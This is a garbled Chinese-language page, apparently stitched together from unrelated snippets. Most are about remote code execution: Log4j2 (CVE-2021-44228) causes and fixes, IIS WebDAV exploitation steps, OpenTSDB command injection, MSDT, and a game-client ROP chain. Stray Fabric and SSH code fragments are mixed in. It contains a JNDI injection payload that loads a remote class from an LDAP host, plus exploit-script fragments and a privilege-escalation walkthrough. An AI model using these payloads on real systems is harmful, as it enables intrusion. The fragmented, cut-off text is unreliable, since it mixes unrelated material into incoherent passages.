RCE远程代码执行 一、漏洞介绍 概述 RCE(remote command/code execute)RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上 一般会给用户提供一个ping操作的web 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_- 远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行 ,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
漏洞原理 Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。 通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行 Apache Log4j2 是一款开源的 Java 日志记录工具 漏洞详情 Apache Log4j 远程代码执行漏洞 严重程度: 严重由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。 2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。 由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限
该项目在Apache接手后进行了代码重构,解决了框架中的架构问题并在Log4j 2中提供了一个插件架构,这使其更具扩展性。 在进行递归查询时,JNDI方法在处理查询参数的过程中存在注入漏洞,攻击者可利用该漏洞在未授权的情况下,构造恶意参数以远程方式在目标服务器上执行恶意代码。 Apache Druid ElasticSearch Flume Dubbo Redis Logstash Kafka 漏洞分析 在受影响版本中,攻击者可以利用该漏洞在未授权的情况下,构造恶意参数以远程方式在目标服务器上执行恶意代码 该漏洞以及已公开的POC进行分析,在Log4j 2组件的版本低于2.15 RC2的情况下均能成功执行任意代码,通过POC可以成功获得受害服务器返回的连接。 也可以通过查看内部JAVA源代码库中所引入的组件清单列表来确认是否引入了Apache Log4j 2.x的Jar包。
Post Views: 573 Apache Log4j 2 远程代码执行漏洞详解 2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。 Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时 ,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。 ,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。 2.漏洞处理 漏洞评级 CVE-2021-44228 Apache Log4j 远程代码执行漏洞 严重 影响版本 Apache Log4j 2.x < 2.15.0 2.1 内部自查 2.1.1 项目依赖版本检测
#从结果可以看到,fab只执行了属于web组的client。 4、extend属性 from fabric.api import env, run env.hosts.extend([ 'host3', 'host4']) def test(): run('uname -r') fabfile is run as fab -H host1,host2 mytask, env.hosts will then contain ['host1', 'host2', 'host3', 'host4' run('uname -r') run: fab test resule: 从结果中可以看到,fab只执行了
在Pentest期间,我们在yrange参数中使用命令注入在OpenTSDB 2.4.0及更低版本中发现了一个远程执行代码漏洞(其他参数可能也容易受到攻击) 当通过它被写入到其中的一个参数传递有效载荷的 gnuplot在文件/ TMP目录和gnuplot的文件由执行OpenTSDB经由/src/mygnuplot.sh壳脚本。 /poc.txt')]*plot "/tmp/d705ba5b_0.dat" using 1:2 title "sys.cpu.nice{host=web01, dc=lga}" 当OpenTSDB执行
) sys.exit(-1) url = sys.argv[1] username =sys.argv[2] password = sys.argv[3] host = sys.argv[4]
漏洞知识库 网络安全/渗透测试/代码审计/ 关注 IIS - 远程代码执行漏洞 漏洞说明 开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对Windows Server 准备工具 下载cve-2017-7269漏洞利用脚本 IIS代码执行脚本 - cve-2017-7269:https://github.com/zcgonvh/cve-2017-7269 下载好了,吧exp 我们用pr.exe执行whoami看看: ? 这个时候,我们就需要用3389这个提权工具开启远程服务器的3389端口: ? 这个就是整个提权的一个过程,包括成功的登陆到远程服务器! 漏洞防御 1、关闭WebDAV服务 2、使用相关防护设备
# 漏洞利用作者:b4keSn4ke # Github:https://github.com/b4keSn4ke # 供应商主页:https://www.postgresql.org/ # 软件链接 deserialize(record) version = float(result[(result.find("PostgreSQL")+11):(result.find("PostgreSQL")+11)+4]
https://github.com/apache/apisix/pull/2244'], ['URL', 'https://seclists.org/oss-sec/2020/q4/
但最近爆出了远程代码执行漏洞,而我的版本又在在漏洞影响范围内。顺便解决下吧! 攻击者通过SQL注入漏洞获取到token进入后台。
注释了 #if _fastmath is not None and not _fastmath.HAVE_DECL_MPZ_POWM_SEC: use: 1.3 执行命令并将结果输出 stdout, stderr = ssh.exec_command("你的命令") print stdout.readlines() ssh.close() 1.4 下载远程文件
攻击者可利用恶意Office文件中的远程模板功能从远程网络服务器获取恶意HTML文件,通过微软支持诊断工具(Microsoft Support Diagnostic Tool,MSDT)执行恶意PowerShell 代码,这里的利用姿势跟CVE-2021-40444是一样的,但是后面的利用链不一样。 门户中的以下警报标题可以指示网络上的威胁活动: Office 应用程序的可疑行为 Msdt.exe 的可疑行为 注意:研究人员将检测到在野利用的0 day漏洞标识为Microsoft Office 代码执行 本通告主要参考微软官方公告Microsoft Windows支持诊断工具 (MSDT) 任意代码执行漏洞。 guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/ 【漏洞通告】Microsoft MSDT任意代码执行漏洞
漏洞的前因后果 2021 年 12 月 9 日,2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。 详情见 【漏洞预警】Apache Log4j 远程代码执行漏洞 漏洞描述 Apache Log4j2 是一款优秀的 Java 日志框架。 2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。 由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。 阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。 漏洞评级 Apache Log4j 远程代码执行漏洞 严重。
RMI利用:攻击者通过构造恶意的RMI请求,向受漏洞影响的服务器发送请求并执行恶意代码。 ,服务器接收到请求并解析,恶意代码就会执行 LDAP与RMI两种利用方式区别不大 什么是JNDI注入 动态协议转换:JNDI提前有配置初始化环境,设置了属性,但是当lookup()里传进来的参数协议与初始化的 JNDI支持一个命名引用方式,可以通过远程下载一个class文件,然后加载构建对象 JNDI注入:${jndi:ldap:192.168.1.1:9998/class} 1、lookup通过名字检索执行的对象 5、class是一个文件,会执行里面的代码块。 ,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。
由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权 的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺 陷,实现目标服务器的任意代码执行,获得目标服务器权限 /tag/log4j-2.15.0-rc2 腾讯云安全处置手册 使用腾讯T-Sec云防火墙防御漏洞攻击 腾讯T-Sec云防火墙已新增虚拟补丁规则支持阻断利用Apache Log4j2远程代码执行漏洞的 步骤细节如下: 主机安全(云镜)控制台:打开漏洞管理->系统漏洞管理,点击一键检测: 7.jpeg 查看扫描到的Apache Log4j组件远程代码执行漏洞风险项目: 确认资产存在Apache Log4j组件远程代码执行漏洞风险: 升级Apache Log4j到安全版本 回到主机安全(云镜)控制台再次打开“漏洞管理”,重新检测确保资产不受Apache Log4j组 件远程代码执行漏洞影响 组件远程代码执行漏洞风险 3)升级到pache Log4j到安全版本 4)回到容器安全服务控制台再次打开“镜像安全”,重新检测确保资产不受Apache Log4j组 件远程代码执行漏洞影响。
#/bin/env python """ Product: Terramaster F4-210, Terramaster F2-210 Version: TOS 4.2.X (4.2.15-2107141517
漏洞简述: 漏洞是12月9日曝出来的,如果发现日志内容中包含关键字 ${},其包含的内容会当做变量来进行替换,导致攻击者可以任意执行命令。 解决方案: ① 将版本升级至2.15.0-rc2版本 ② 添加JVM参数-Dlog4j2.formatMsgNoLookups=true ③ 设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true ④ 创建配置文件log4j2.component.properties,设置配置项log4j2.formatMsgNoLookups=true 建议:Status2、Druid、Dubbo 、ElasticSearch、Redis、Kafka等开源项目都受影响,所以你的项目如果有用到如上应用,则即使你没有使用Log4j-2也会受到影响。
这是再次提醒的代码: [reversed6.png] 由于我们通过 控制对象的内容ConVar,我们可以简单地将 vtable 指针设置为任何值。 幸运的是,一些ConVars被解释为颜色值,并期望一个4字节(ř编乙略ģ颖甲lpha)值,其可以是攻击者控制。该值直接存储color_value在上述struct ConVar定义的字段中。 这个解引用链可以说明如下: ROP 链到 RCE 随着 ASLR 被破坏并且我们获得了任意指令指针的控制,剩下要做的就是构建一个 ROP 链,最终导致我们调用ShellExecuteA执行任意系统命令。 因为我们可以选择数组的大小,所以我们选择了一个不太常见的分配大小,以避免干扰正常的游戏代码。 以下代码显示了我们如何扫描接收到的内存以获取喷射对象以找到SendTable将指向engine.dll. files_received.append(fn) pp = packetparser.PacketParser
我们设法找到并利用了两个错误,当它们结合在一起时,当连接到我们的恶意服务器时,可以在玩家的机器上可靠地远程执行代码。第一个错误是信息泄漏,它使我们能够在客户端的游戏过程中破坏 ASLR。 我们不会详细介绍网络代码,因为它与我们将呈现的错误无关。 更重要的是,这个基于 UDP 的自定义协议携带Protobuf序列化的有效载荷。 为此,我们对网络代码进行了逆向工程以解密和解包消息。 我们还添加了修改将要发送/接收的任何消息的值的功能。 我们可以在负责初始化连接的代码中找到错误,而无需通过改变消息中有趣的字段对其进行逆向工程。 将上述对象指向攻击者控制的数据将产生任意代码执行。 但是,我们仍然必须在已知位置伪造一个 vtable,然后将函数指针指向有用的东西。由于这个限制,我们决定寻找另一个可能导致信息泄漏的错误。